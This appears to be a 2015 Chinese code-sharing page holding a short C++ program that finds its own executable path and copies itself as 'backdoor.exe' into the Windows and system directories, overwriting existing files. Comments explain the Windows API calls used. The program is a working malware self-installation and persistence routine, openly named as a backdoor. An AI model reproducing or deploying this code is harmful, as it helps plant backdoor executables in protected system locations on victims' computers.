您的位置:首页 > 其它

复制自身程序到Windows目录和系统目录下

2015-12-19 16:10 423 查看
#include "iostream"
#include "windows.h"
using namespace std;

/*

GetModuleFileName(  //获得自身程序所在路径
HMODULE NULL,       //在获得自身程序时使用NULL
LPTSTR lpFilename,  //保存程序自身所在路径
DWORD nSize         //指定缓冲区的大小
);

GetWindowsDirectory(  //获得Windows目录
LPTSTR lpBuffer,     //保存Windows目录路径
UINT nSize         //指定缓冲区的大小
);

GetSystemDirectory(  //获得系统目录
LPTSTR lpBuffer,     //保存系统目录路径
UINT nSize         //指定缓冲区的大小
);

BOOL CopyFile(
LPTSTR lpExistingFileName,  //原文件路径
LPTSTR lpNewFileName,       //该参数指向一个新文件的地址
BOOL bFailIfExists          //TRUE 表示目的文件已存在,复制失败,FALSE 强行覆盖原文件
);

*/
void CopySelf()
{
//保存自身程序的路径
char szSelfName[MAX_PATH] = {0};
//保存Windows目录的路径
char szWindowsPath[MAX_PATH] = {0};
//保存系统目录的路径
char szSystemPath[MAX_PATH] = {0};
//临时路径变量
char szTempPath[MAX_PATH] = {0};

GetModuleFileName(NULL, szSelfName, MAX_PATH);  //获得自身程序所在路径
GetWindowsDirectory(szWindowsPath, MAX_PATH);  //获得Windows目录
GetSystemDirectory(szSystemPath, MAX_PATH);  //获得系统目录

strcat(szWindowsPath, "\\backdoor.exe");
strcat(szSystemPath, "\\backdoor.exe");

CopyFile(szSelfName, szWindowsPath, FALSE);  //拷贝文件
CopyFile(szSelfName, szSystemPath, FALSE);
}

int main()
{
CopySelf();
return 0;
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: